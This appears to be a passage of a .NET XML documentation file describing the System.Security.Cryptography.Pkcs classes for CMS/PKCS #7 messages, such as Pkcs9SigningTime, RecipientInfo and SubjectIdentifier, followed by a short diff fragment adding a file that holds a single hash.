<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.#ctor(System.Byte[])"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentName"></see> class by using the specified array of byte values as the encoded name of the content of a CMS/PKCS #7 message.</summary>
<param name="encodedDocumentName">An array of byte values that specifies the encoded name of the CMS/PKCS #7 message.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.#ctor(System.String)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.#ctor(System.String)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentName"></see> class by using the specified name for the CMS/PKCS #7 message.</summary>
<param name="documentName">A <see cref="T:System.String"></see> object that specifies the name for the CMS/PKCS #7 message.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.CopyFrom(System.Security.Cryptography.AsnEncodedData)">
<summary>Copies information from an <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object.</summary>
<param name="asnEncodedData">The <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object from which to copy information.</param>
</member>
<member name="P:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.DocumentName">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.DocumentName"></see> property retrieves the document name.</summary>
<returns>A <see cref="System.String"></see> object that contains the document name.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.Pkcs9MessageDigest">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9MessageDigest"></see> class defines the message digest of a CMS/PKCS #7 message.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9MessageDigest.#ctor">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9MessageDigest.#ctor"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9MessageDigest"></see> class.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9MessageDigest.CopyFrom(System.Security.Cryptography.AsnEncodedData)">
<summary>Copies information from an <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object.</summary>
<param name="asnEncodedData">The <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object from which to copy information.</param>
</member>
<member name="P:System.Security.Cryptography.Pkcs.Pkcs9MessageDigest.MessageDigest">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.Pkcs9MessageDigest.MessageDigest"></see> property retrieves the message digest.</summary>
<returns>An array of byte values that contains the message digest.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.Pkcs9SigningTime">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9SigningTime"></see> class defines the signing date and time of a signature. A <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9SigningTime"></see> object can be used as an authenticated attribute of a <see cref="T:System.Security.Cryptography.Pkcs.CmsSigner"></see> object when an authenticated date and time are to accompany a digital signature.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.#ctor">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.#ctor"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9SigningTime"></see> class.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.#ctor(System.Byte[])">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.#ctor(System.Byte[])"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9SigningTime"></see> class by using the specified array of byte values as the encoded signing date and time of the content of a CMS/PKCS #7 message.</summary>
<param name="encodedSigningTime">An array of byte values that specifies the encoded signing date and time of the CMS/PKCS #7 message.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.#ctor(System.DateTime)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.#ctor(System.DateTime)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9SigningTime"></see> class by using the specified signing date and time.</summary>
<param name="signingTime">A <see cref="T:System.DateTime"></see> structure that represents the signing date and time of the signature.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.CopyFrom(System.Security.Cryptography.AsnEncodedData)">
<summary>Copies information from a <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object.</summary>
<param name="asnEncodedData">The <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object from which to copy information.</param>
</member>
<member name="P:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.SigningTime">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.Pkcs9SigningTime.SigningTime"></see> property retrieves a <see cref="T:System.DateTime"></see> structure that represents the date and time that the message was signed.</summary>
<returns>A <see cref="System.DateTime"></see> structure that contains the date and time the document was signed.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.PublicKeyInfo">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.PublicKeyInfo"></see> class represents information associated with a public key.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.PublicKeyInfo.Algorithm">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.PublicKeyInfo.Algorithm"></see> property retrieves the algorithm identifier associated with the public key.</summary>
<returns>An <see cref="System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> object that represents the algorithm.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.PublicKeyInfo.KeyValue">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.PublicKeyInfo.KeyValue"></see> property retrieves the value of the encoded public component of the public key pair.</summary>
<returns>An array of byte values that represents the encoded public component of the public key pair.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.RecipientInfo">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> class represents information about a CMS/PKCS #7 message recipient. The <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> class is an abstract class inherited by the <see cref="T:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo"></see> and <see cref="T:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo"></see> classes.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfo.EncryptedKey">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfo.EncryptedKey"></see> abstract property retrieves the encrypted recipient keying material.</summary>
<returns>An array of byte values that contain the encrypted recipient keying material.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfo.KeyEncryptionAlgorithm">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfo.KeyEncryptionAlgorithm"></see> abstract property retrieves the algorithm used to perform the key establishment.</summary>
<returns>An <see cref="System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> object that contains the value of the algorithm used to establish the key between the originator and recipient of the CMS/PKCS #7 message.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfo.RecipientIdentifier">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfo.RecipientIdentifier"></see> abstract property retrieves the identifier of the recipient.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.SubjectIdentifier"></see> object that contains the identifier of the recipient.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfo.Type">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfo.Type"></see> property retrieves the type of the recipient. The type of the recipient determines which of two major protocols is used to establish a key between the originator and the recipient of a CMS/PKCS #7 message.</summary>
<returns>A value of the <see cref="System.Security.Cryptography.Pkcs.RecipientInfoType"></see> enumeration that defines the type of the recipient.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfo.Version">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfo.Version"></see> abstract property retrieves the version of the recipient information. Derived classes automatically set this property for their objects, and the value indicates whether it is using PKCS #7 or Cryptographic Message Syntax (CMS) to protect messages. The version also implies whether the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> object establishes a cryptographic key by a key agreement algorithm or a key transport algorithm.</summary>
<returns>An <see cref="System.Int32"></see> value that represents the version of the <see cref="System.Security.Cryptography.Pkcs.RecipientInfo"></see> object.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> class represents a collection of <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> objects. <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> implements the <see cref="T:System.Collections.ICollection"></see> interface.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.RecipientInfoCollection.CopyTo(System.Array,System.Int32)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.RecipientInfoCollection.CopyTo(System.Array,System.Int32)"></see> method copies the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection to an array.</summary>
<param name="array">An <see cref="T:System.Array"></see> object to which the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection is to be copied.</param>
<param name="index">The zero-based index in array where the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection is copied.</param>
<exception cref="T:System.ArgumentException">One of the arguments provided to a method was not valid.</exception>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.ArgumentOutOfRangeException">The value of an argument was outside the allowable range of values as defined by the called method.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.RecipientInfoCollection.CopyTo(System.Security.Cryptography.Pkcs.RecipientInfo[],System.Int32)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.RecipientInfoCollection.CopyTo(System.Security.Cryptography.Pkcs.RecipientInfo[],System.Int32)"></see> method copies the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection to a <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> array.</summary>
<param name="array">An array of <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> objects where the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection is to be copied.</param>
<param name="index">The zero-based index in array where the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection is copied.</param>
<exception cref="T:System.ArgumentException">One of the arguments provided to a method was not valid.</exception>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.ArgumentOutOfRangeException">The value of an argument was outside the allowable range of values as defined by the called method.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfoCollection.Count">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfoCollection.Count"></see> property retrieves the number of items in the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</summary>
<returns>An int value that represents the number of items in the collection.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.RecipientInfoCollection.GetEnumerator">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.RecipientInfoCollection.GetEnumerator"></see> method returns a <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator"></see> object for the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.RecipientInfoEnumerator"></see> object that can be used to enumerate the <see cref="System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfoCollection.Item(System.Int32)">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfoCollection.Item(System.Int32)"></see> property retrieves the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> object at the specified index in the collection.</summary>
<param name="index">An int value that represents the index in the collection. The index is zero based.</param>
<returns>A <see cref="System.Security.Cryptography.Pkcs.RecipientInfo"></see> object at the specified index.</returns>
<exception cref="T:System.ArgumentOutOfRangeException">The value of an argument was outside the allowable range of values as defined by the called method.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfoCollection.System#Collections#ICollection#IsSynchronized">
<returns></returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfoCollection.System#Collections#ICollection#SyncRoot">
<returns></returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.RecipientInfoCollection.System#Collections#IEnumerable#GetEnumerator">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.RecipientInfoCollection.System#Collections#IEnumerable#GetEnumerator"></see> method returns a <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator"></see> object for the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.RecipientInfoEnumerator"></see> object that can be used to enumerate the <see cref="System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator"></see> class provides enumeration functionality for the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection. <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator"></see> implements the <see cref="T:System.Collections.IEnumerator"></see> interface.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator.Current">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator.Current"></see> property retrieves the current <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> object from the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.RecipientInfo"></see> object that represents the current recipient information structure in the <see cref="System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator.MoveNext">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator.MoveNext"></see> method advances the enumeration to the next <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> object in the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</summary>
<returns>This method returns a bool that specifies whether the enumeration successfully advanced. If the enumeration successfully moved to the next <see cref="System.Security.Cryptography.Pkcs.RecipientInfo"></see> object, the method returns true. If the enumeration moved past the last item in the enumeration, it returns false.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator.Reset">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator.Reset"></see> method resets the enumeration to the first <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> object in the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator.System#Collections#IEnumerator#Current">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator.System#Collections#IEnumerator#Current"></see> property retrieves the current <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> object from the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.RecipientInfo"></see> object that represents the current recipient information structure in the <see cref="System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.RecipientInfoType">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoType"></see> enumeration defines the types of recipient information.</summary>
</member>
<member name="F:System.Security.Cryptography.Pkcs.RecipientInfoType.KeyAgreement">
<summary>Key agreement recipient information.</summary>
<returns></returns>
</member>
<member name="F:System.Security.Cryptography.Pkcs.RecipientInfoType.KeyTransport">
<summary>Key transport recipient information.</summary>
<returns></returns>
</member>
<member name="F:System.Security.Cryptography.Pkcs.RecipientInfoType.Unknown">
<summary>The recipient information type is unknown.</summary>
<returns></returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.SubjectIdentifier">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.SubjectIdentifier"></see> class defines the type of the identifier of a subject, such as a <see cref="T:System.Security.Cryptography.Pkcs.CmsSigner"></see> or a <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see>. The subject can be identified by the certificate issuer and serial number or the subject key.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.SubjectIdentifier.Type">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.SubjectIdentifier.Type"></see> property retrieves the type of subject identifier. The subject can be identified by the certificate issuer and serial number or the subject key.</summary>
<returns>A member of the <see cref="System.Security.Cryptography.Pkcs.SubjectIdentifierType"></see> enumeration that identifies the type of subject.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.SubjectIdentifier.Value">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.SubjectIdentifier.Value"></see> property retrieves the value of the subject identifier. Use the <see cref="P:System.Security.Cryptography.Pkcs.SubjectIdentifier.Type"></see> property to determine the type of subject identifier, and use the <see cref="P:System.Security.Cryptography.Pkcs.SubjectIdentifier.Value"></see> property to retrieve the corresponding value.</summary>
<returns>An <see cref="System.Object"></see> object that represents the value of the subject identifier. This <see cref="System.Object"></see> can be one of the following objects as determined by the <see cref="System.Security.Cryptography.Pkcs.SubjectIdentifier.Type"></see> property.
<see cref="System.Security.Cryptography.Pkcs.SubjectIdentifier.Type"></see> property
Object
IssuerAndSerialNumber
<see cref="System.Security.Cryptography.Xml.X509IssuerSerial"></see> SubjectKeyIdentifier
<see cref="System.String"></see></returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey"></see> class defines the type of the identifier of a subject, such as a <see cref="T:System.Security.Cryptography.Pkcs.CmsSigner"></see> or a <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see>. The subject can be identified by the certificate issuer and serial number, the hash of the subject key, or the subject key.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey.Type">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey.Type"></see> property retrieves the type of subject identifier or key. The subject can be identified by the certificate issuer and serial number, the hash of the subject key, or the subject key.</summary>
<returns>A member of the <see cref="System.Security.Cryptography.Pkcs.SubjectIdentifierOrKeyType"></see> enumeration that specifies the type of subject identifier.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey.Value">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey.Value"></see> property retrieves the value of the subject identifier or key. Use the <see cref="P:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey.Type"></see> property to determine the type of subject identifier or key, and use the <see cref="P:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey.Value"></see> property to retrieve the corresponding value.</summary>
<returns>An <see cref="System.Object"></see> object that represents the value of the subject identifier or key. This <see cref="System.Object"></see> can be one of the following objects as determined by the <see cref="System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey.Type"></see> property.
<see cref="System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey.Type"></see> property
Object
IssuerAndSerialNumber
<see cref="System.Security.Cryptography.Xml.X509IssuerSerial"></see> SubjectKeyIdentifier
<see cref="System.String"></see> PublicKeyInfo
<see cref="System.Security.Cryptography.Pkcs.PublicKeyInfo"></see></returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKeyType">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKeyType"></see> enumeration defines how a subject is identified.</summary>
</member>
<member name="F:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKeyType.IssuerAndSerialNumber">
<summary>The subject is identified by the certificate issuer and serial number.</summary>
<returns></returns>
</member>
<member name="F:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKeyType.PublicKeyInfo">
<summary>The subject is identified by the public key.</summary>
<returns></returns>
</member>
<member name="F:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKeyType.SubjectKeyIdentifier">
<summary>The subject is identified by the hash of the subject key.</summary>
<returns></returns>
</member>
<member name="F:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKeyType.Unknown">
<summary>The type is unknown.</summary>
<returns></returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.SubjectIdentifierType">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.SubjectIdentifierType"></see> enumeration defines the type of subject identifier.</summary>
</member>
<member name="F:System.Security.Cryptography.Pkcs.SubjectIdentifierType.IssuerAndSerialNumber">
<summary>The subject is identified by the certificate issuer and serial number.</summary>
<returns></returns>
</member>
<member name="F:System.Security.Cryptography.Pkcs.SubjectIdentifierType.NoSignature">
<summary>The subject is identified as taking part in an integrity check operation that uses only a hashing algorithm.</summary>
<returns></returns>
</member>
<member name="F:System.Security.Cryptography.Pkcs.SubjectIdentifierType.SubjectKeyIdentifier">
<summary>The subject is identified by the hash of the subject&amp;#39;s public key. The hash algorithm used is determined by the signature algorithm suite in the subject&amp;#39;s certificate.</summary>
<returns></returns>
</member>
<member name="F:System.Security.Cryptography.Pkcs.SubjectIdentifierType.Unknown">
<summary>The type of subject identifier is unknown.</summary>
<returns></returns>
</member>
<member name="T:System.Security.Cryptography.Xml.X509IssuerSerial">
<summary>Represents the &amp;lt;X509IssuerSerial&amp;gt; element of an XML digital signature.</summary>
</member>
<member name="P:System.Security.Cryptography.Xml.X509IssuerSerial.IssuerName">
<summary>Gets or sets an X.509 certificate issuer&amp;#39;s distinguished name.</summary>
<returns>An X.509 certificate issuer&amp;#39;s distinguished name.</returns>
</member>
<member name="P:System.Security.Cryptography.Xml.X509IssuerSerial.SerialNumber">
<summary>Gets or sets an X.509 certificate issuer&amp;#39;s serial number.</summary>
<returns>An X.509 certificate issuer&amp;#39;s serial number.</returns>
</member>
</members>
</doc>

View File

@ -0,0 +1 @@
99ce22c306b07f99ddae60f443d23a983ae78f7b